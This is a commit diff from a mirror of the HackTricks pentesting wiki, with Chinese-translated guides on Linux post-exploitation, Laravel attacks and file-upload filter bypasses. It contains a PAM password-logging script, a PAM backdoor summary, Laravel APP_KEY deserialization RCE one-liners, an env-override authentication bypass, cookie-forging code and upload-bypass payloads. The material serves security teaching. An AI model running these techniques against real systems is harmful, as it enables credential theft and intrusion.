maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's

Browse Source
This commit is contained in:
Translator 2025-09-08 01:01:13 +00:00
parent 9a722f9cd3
commit 7431a47208
4 changed files with 559 additions and 419 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

69
src/linux-hardening/linux-post-exploitation/README.md
View File

@ -2,24 +2,25 @@
{{#include ../../banners/hacktricks-training.md}}
## 使用 PAM 嗅探登录密码
## Sniffing Logon Passwords with PAM
让我们配置一个 PAM 模块以记录每个用户登录时使用的密码。如果你不知道 PAM 是什么，请查看：
让我们配置一个 PAM 模块来记录每个用户登录时使用的密码。如果你不知道 PAM 是什么，请查看：
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**有关更多详细信息，请查看 [原始帖子](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是一个摘要：
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是个摘要：
**技术概述：**
可插拔认证模块（PAM）在管理基于 Unix 的系统的认证方面提供了灵活性。它们可以通过自定义登录过程来增强安全性，但如果使用不当也会带来风险。此摘要概述了一种使用 PAM 捕获登录凭据的技术，以及缓解策略。
**Technique Overview:**
Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。通过自定义登录流程可以增强安全性，但如果被滥用也会带来风险。本文概要说明了如何利用 PAM 捕获登录凭据，并列出相应的缓解策略。
**捕获凭据：**
**Capturing Credentials:**
- 一个名为 `toomanysecrets.sh` 的 bash 脚本被创建，用于记录登录尝试，捕获日期、用户名（`$PAM_USER`）、密码（通过 stdin）和远程主机 IP（`$PAM_RHOST`）到 `/var/log/toomanysecrets.log`。
- 该脚本被设置为可执行，并通过 `pam_exec.so` 模块集成到 PAM 配置（`common-auth`）中，选项为安静运行并将认证令牌暴露给脚本。
- 该方法演示了如何利用被攻陷的 Linux 主机来隐秘地记录凭据。
- 编写了一个名为 `toomanysecrets.sh` 的 bash 脚本来记录登录尝试，记录内容包括日期、用户名（`$PAM_USER`）、密码（通过 stdin）以及远程主机 IP（`$PAM_RHOST`），并写入到 `/var/log/toomanysecrets.log`。
- 将脚本设为可执行，并通过 `pam_exec.so` 模块将其集成到 PAM 配置（`common-auth`）中，使用的选项使其静默运行并将认证令牌暴露给脚本。
- 该方法演示了如何利用被攻陷的 Linux 主机悄然记录凭据。
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -31,23 +32,49 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**有关更多详细信息，请查看[原始帖子](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。这只是一个摘要：
**更多细节请查看 [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。 这里只是摘要：
可插拔认证模块（PAM）是一个在Linux下用于用户认证的系统。它基于三个主要概念：**用户名**、**密码**和**服务**。每个服务的配置文件位于`/etc/pam.d/`目录中，那里有共享库处理认证。
The Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念：**username**, **password**, 和 **service**。每个 service 的配置文件位于 `/etc/pam.d/` 目录，共享库负责处理认证。
**目标**：修改PAM以允许使用特定密码进行认证，绕过实际用户密码。这特别关注`common-auth`文件中使用的`pam_unix.so`共享库，该文件几乎被所有服务用于密码验证。
**目标**：修改 PAM，使其允许使用特定密码进行认证，绕过实际用户密码。重点是 `pam_unix.so` 这个由 `common-auth` 文件使用的共享库，几乎所有用于密码验证的 services 都会包含它。
### 修改`pam_unix.so`的步骤：
### Steps for Modifying `pam_unix.so`:
1. **定位`common-auth`文件中的认证指令**：
- 负责检查用户密码的行调用`pam_unix.so`。
2. **修改源代码**：
- 在`pam_unix_auth.c`源文件中添加一个条件语句，如果使用预定义密码则授予访问权限，否则继续进行常规认证过程。
3. **重新编译并替换**修改后的`pam_unix.so`库到适当的目录。
4. **测试**：
- 使用预定义密码在各种服务（登录、ssh、sudo、su、屏幕保护程序）中授予访问权限，而正常的认证过程不受影响。
1. **Locate the Authentication Directive** in the `common-auth` file:
- 负责检查用户密码的那一行会调用 `pam_unix.so`。
2. **Modify Source Code**:
- 在 `pam_unix_auth.c` 源文件中添加一个条件判断：如果使用预定义密码则授予访问，否则继续正常的认证流程。
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- 使用预定义密码可以在多个 services（login, ssh, sudo, su, screensaver）中获得访问，而正常的认证流程不受影响。
> [!TIP]
> 您可以使用[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)自动化此过程。
> 你可以使用 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 来自动化该过程
## Decrypting GPG loot via homedir relocation
如果你发现一个加密的 `.gpg` 文件和用户的 `~/.gnupg` 文件夹（pubring, private-keys, trustdb），但由于 GnuPG homedir 的权限或锁导致无法解密，可以将 keyring 复制到一个可写的位置并将其用作你的 GPG home。
如果不这样，通常会看到错误："unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"（因为 GPG 无法读/写原始 homedir）。
工作流程：
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
如果私钥材料存在于 `private-keys-v1.d` 中，GPG 会在不提示 passphrase 的情况下解锁并解密（如果该密钥受保护则会提示）。
## 参考资料
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}

560
src/linux-hardening/privilege-escalation/README.md
View File

File diff suppressed because it is too large Load Diff

155
src/network-services-pentesting/pentesting-web/laravel.md
View File

@ -2,16 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
### Laravel SQL注入
### Laravel SQLInjection
在这里阅读相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
在此阅读相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & 加密内部机制 (Laravel \u003e=5.6)
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
Laravel 在底层使用 AES-256-CBC (或 GCM) 和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。
最终**发送给客户端**的原始密文是**一个 JSON 对象的 Base64**，例如:
Laravel 在内部使用 AES-256-CBC（或 GCM）并结合 HMAC 完整性（`Illuminate\\Encryption\\Encrypter`）。
最终**发送给客户端**的原始密文是类似下面这种**Base64 的 JSON 对象**：
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -20,21 +20,23 @@ Laravel 在底层使用 AES-256-CBC (或 GCM) 和 HMAC 完整性 (`Illuminate\\E
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`，而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象，并通过魔术方法 (`__wakeup`, `__destruct`, …) 获得 RCE**。
`encrypt($value, $serialize=true)` 默认会对明文执行 `serialize()`，而
`decrypt($payload, $unserialize=true)` **会自动对解密后的值执行 `unserialize()`**。
因此**任何知道 32 字节密钥 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象并通过魔术方法（`__wakeup`, `__destruct`, …）获得 RCE**。
最小 PoC (框架 ≥9.x):
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
将生成的字符串注入到任何易受攻击的 `decrypt()` 接收点（路由参数、cookie、会话等）。
将生成的字符串注入任何可被利用的 `decrypt()` sink（路由参数、cookie、session、…）。
---
## laravel-crypto-killer 🧨
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个过程并添加了一个方便的 **bruteforce** 模式：
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个流程并添加了一个方便的 **bruteforce** 模式：
```bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
@ -45,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
脚本透明地支持 CBC 和 GCM 有效负载，并重新生成 HMAC/tag 字段。
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
---
## 真实世界的漏洞模式
## 真实世界的易受攻击模式
| 项目 | 漏洞接收点 | Gadget 链 |
| 项目 | 易受攻击的 sink | Gadget 链 |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 当 `Passport::withCookieSerialization()` 被启用时 | Laravel/RCE9 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 在启用 `Passport::withCookieSerialization()` 时 | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
利用工作流程始终是：
利用流程始终如下：
1. 获取或暴力破解 32 字节的 `APP_KEY`。
2. 使用 **PHPGGC** 构建一个 gadget 链（例如 `Laravel/RCE13`、`Laravel/RCE9` 或 `Laravel/RCE15`）。
3. 使用 **laravel_crypto_killer.py** 和恢复的 `APP_KEY` 加密序列化的 gadget。
4. 将密文传递给易受攻击的 `decrypt()` 接收点（路由参数、cookie、会话等）以触发 **RCE**。
2. 使用 **PHPGGC** 构建 gadget 链（例如 `Laravel/RCE13`、`Laravel/RCE9` 或 `Laravel/RCE15`）。
3. 使用 **laravel_crypto_killer.py** 和恢复的 `APP_KEY` 对序列化的 gadget 进行加密。
4. 将密文传递给易受攻击的 `decrypt()` sink（路由参数、cookie、session …）以触发 **RCE**。
以下是简洁的一行代码，演示上述每个真实世界 CVE 的完整攻击路径：
下面是简洁的一行命令，演示上述每个真实世界 CVE 的完整攻击路径：
```bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -80,41 +82,84 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
由于每个新的 Laravel 响应至少设置一个加密 cookie (`XSRF-TOKEN` 通常还有 `laravel_session`)，**public internet scanners (Shodan, Censys, …) leak millions of ciphertexts**，这些密文可离线攻击。
Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens，**3.99 % 密钥被破解**（≈23 k）
* Dataset May 2025 » 625 k tokens，**3.56 % 密钥被破解**
* >1 000 servers 仍然易受 legacy CVE-2018-15133 影响，因为 tokens 直接包含序列化数据。
* 大量密钥复用 – 前 10 个 APP_KEY 是随商业 Laravel 模板（UltimatePOS, Invoice Ninja, XPanel, …）一起分发的硬编码默认值。
私有 Go 工具 **nounours** 将 AES-CBC/GCM bruteforce 吞吐量推高到约 1.5 billion tries/s，使完整数据集破解时间降至 <2 分钟。
## CVE-2024-52301 – HTTP argv/env 覆盖 → auth bypass
当 PHP 的 `register_argc_argv=On`（许多发行版的典型设置）时，PHP 会为来自查询字符串的 HTTP 请求暴露一个 `argv` 数组。最近的 Laravel 版本会解析这些“CLI-like”参数并在运行时识别 `--env=<value>`。这允许仅通过将其附加到任意 URL 来切换当前 HTTP 请求的框架环境：
- Quick check:
- 访问 `https://target/?--env=local` 或任意字符串，观察与环境相关的变化（debug 横幅、页脚、详细错误）。如果该字符串被反射，覆盖就有效。
- Impact example (business logic trusting a special env):
- 如果应用包含诸如 `if (app()->environment('preprod')) { /* bypass auth */ }` 的分支，您可以在不提供有效凭据的情况下通过发送登录 POST 到：
- `POST /login?--env=preprod`
- Notes:
- 仅对单次请求生效，不会持久化。
- 需要 `register_argc_argv=On`，以及会为 HTTP 读取 argv 的易受攻击 Laravel 版本。
- 这是一个有用的原语，可用于在“debug”envs 中显示更详细的错误，或触发受环境控制的代码路径。
- Mitigations:
- 对 PHP-FPM/Apache 禁用 `register_argc_argv`。
- 升级 Laravel 以在 HTTP 请求中忽略 argv，并在生产路由中移除任何基于 `app()->environment()` 的信任假设。
Minimal exploitation flow (Burp):
```http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf
```
---
## 通过 cookie 暴力破解发现大量 APP_KEY
因为每个新的 Laravel 响应至少设置 1 个加密 cookie（`XSRF-TOKEN` 和通常的 `laravel_session`），**公共互联网扫描器（Shodan, Censys, …）泄露了数百万个密文**，可以离线攻击。
Synacktiv 发布的研究关键发现（2024-2025）：
* 数据集 2024 年 7 月 » 580 k tokens，**3.99 % 的密钥被破解**（≈23 k）
* 数据集 2025 年 5 月 » 625 k tokens，**3.56 % 的密钥被破解**
* >1 000 服务器仍然易受旧版 CVE-2018-15133 的影响，因为令牌直接包含序列化数据。
* 巨大的密钥重用 – 前 10 个 APP_KEY 是与商业 Laravel 模板（UltimatePOS, Invoice Ninja, XPanel, …）一起提供的硬编码默认值。
私有 Go 工具 **nounours** 将 AES-CBC/GCM 暴力破解吞吐量提升至 ~1.5 亿次尝试/秒，将完整数据集破解时间缩短至 <2 分钟。
## Laravel 技巧
### 调试模式
如果 Laravel 处于 **调试模式**，您将能够访问 **代码** 和 **敏感数据**。\
例如 `http://127.0.0.1:8000/profiles`：
如果 Laravel 处于 **调试模式**，你将能够访问 **代码** 和 **敏感数据**。\
例如 `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
这通常是利用其他 Laravel RCE CVE 所需的。
这通常是利用其他 Laravel RCE CVEs 时所需的。
### 指纹识别与暴露的开发端点
快速检查以识别 Laravel 堆栈以及在生产环境中暴露的危险开发工具：
- `/_ignition/health-check` → 存在 Ignition（用于 CVE-2021-3129 的调试工具）。如果在未认证的情况下可访问，应用可能处于调试模式或配置错误。
- `/_debugbar` → Laravel Debugbar 资源；通常表示处于调试模式。
- `/telescope` → Laravel Telescope（开发监控）。如果公开，可能会有大量信息泄露和可执行的操作。
- `/horizon` → 队列仪表板；可能泄露版本信息，且有时包含受 CSRF 保护的动作。
- `X-Powered-By`、cookie `XSRF-TOKEN` 和 `laravel_session`，以及 Blade 错误页面也有助于指纹识别。
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done
```
### .env
Laravel 将用于加密 cookie 和其他凭据的 APP 保存在一个名为 `.env` 的文件中，可以通过某些路径遍历访问：`/../.env`
Laravel 将用于加密 cookies 和其他凭据的 APP 保存到名为 `.env` 的文件中，该文件可以通过某些路径遍历访问：`/../.env`
Laravel 还会在调试页面中显示此信息（当 Laravel 发现错误并激活时会出现）。
Laravel 还会在调试页面中显示这些信息（当 Laravel 发现错误并启用时会出现该页面）。
使用 Laravel 的秘密 APP_KEY，您可以解密和重新加密 cookie：
使用 Laravel 的 APP_KEY（密钥）可以解密并重新加密 cookies：
### 解密 Cookie
### Decrypt Cookie
```python
import os
import json
@ -169,28 +214,34 @@ return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')
```
### Laravel 反序列化 RCE
### Laravel Deserialization RCE
易受攻击的版本：5.5.40 和 5.6.x 通过 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
易受影响的版本：5.5.40 和 5.6.x 至 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
您可以在这里找到有关反序列化漏洞的信息：[https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
关于该 deserialization 漏洞的信息见： [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
您可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 进行测试和利用\
或者您也可以使用 metasploit 进行利用：`use unix/http/laravel_token_unserialize_exec`
你可以使用 [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133) 进行测试和利用。\
或者你也可以使用 metasploit 进行利用：`use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129
另一个反序列化：[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
另一个 deserialization： [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
## 参考
* [Laravel: APP_KEY 泄露分析 (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : APP_KEY 泄露分析 (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
## 参考资料
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP 通用 Gadget 链](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 详细分析 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
{{#include ../../banners/hacktricks-training.md}}

194
src/pentesting-web/file-upload/README.md
View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## 文件上传通用方法
## 文件上传通用方法论
其他有用的扩展名：
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, .phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
@ -17,11 +17,11 @@
### 绕过文件扩展名检查
1. 如果适用，**检查**前面的**扩展名**。也用一些**大写字母**测试它们：_pHp, .pHP5, .PhAr ..._
2. _测试**在可执行扩展之前添加一个合法扩展**（也可以使用前面列出的扩展）：_
1. 如果适用，请**检查**之前列出的**扩展名**。还要使用一些**大写字母**进行测试： _pHp, .pHP5, .PhAr ..._
2. _检查**在执行扩展之前添加一个有效扩展**（也使用之前的扩展）：_
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。你可以用 Burp 对所有 **ascii** 和 **Unicode** 字符进行**暴力测试**。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
3. 尝试在末尾添加**特殊字符**。你可以使用 Burp 对所有 **ascii** 和 **Unicode** 字符进行**bruteforce**。 (_注意你也可以尝试使用之前提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. 试图通过**欺骗服务器端的扩展解析器**来绕过防护，使用例如**双重**扩展或在扩展之间加入**垃圾数据**（**null** 字节）的技术。_你也可以使用**之前的扩展**来准备更好的 payload。_
4. 尝试通过欺骗服务端的扩展名解析器来绕过保护，使用诸如**重复**扩展名或在扩展名之间**添加杂乱数据**（**null** 字节）等技术。 _你也可以使用之前的扩展名来构造更好的载荷。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,18 +40,18 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 在前面的检查中**再添加一层扩展**：
5. 在之前的检查中再添加**另一个扩展层**：
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试把**可执行扩展放在合法扩展之前**，希望服务器配置错误（在 Apache 的误配置中很有用：任何带有扩展**.php** 的文件，不一定以 .php 结尾，也可能执行代码）：
6. 尝试把**可执行扩展放在有效扩展之前**，希望服务器配置错误。（对利用 Apache 的错误配置有用：任何带有扩展 **.php** 的文件——不一定以 .php 结尾——都会执行代码）:
- _ex: file.php.png_
7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下，会在被禁止的扩展之后、允许的扩展之前插入一个冒号 “:”。结果是在服务器上创建一个**带有被禁止扩展但为空的文件**（例如 "file.asax:.jpg"）。后来可能通过其他技术编辑此文件，例如使用其短文件名。模式 "**::$data**" 也可以用来创建非空文件。因此，在该模式后加一个点字符也可能有助于绕过更多限制（例如 "file.asp::$data."）
8. 试图突破文件名长度限制。合法扩展被截断，而恶意的 PHP 留下。AAA<--SNIP-->AAA.php
7. 在 **Windows** 中使用 **NTFS alternate data stream (ADS)**。在这种情况下，会在被禁止的扩展后和允许的扩展前插入一个冒号字符 ":"。因此，服务器上会创建一个带有被禁止扩展的**空文件**（例如 "file.asax:.jpg"）。该文件可能稍后通过其他技术（例如使用其短文件名）被编辑。模式 "**::$data**" 也可用于创建非空文件。因此，在该模式后添加一个点字符也可能有助于绕过进一步的限制（例如 "file.asp::$data."）
8. 尝试突破文件名长度限制。有效扩展被截断，恶意 PHP 被保留。 AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
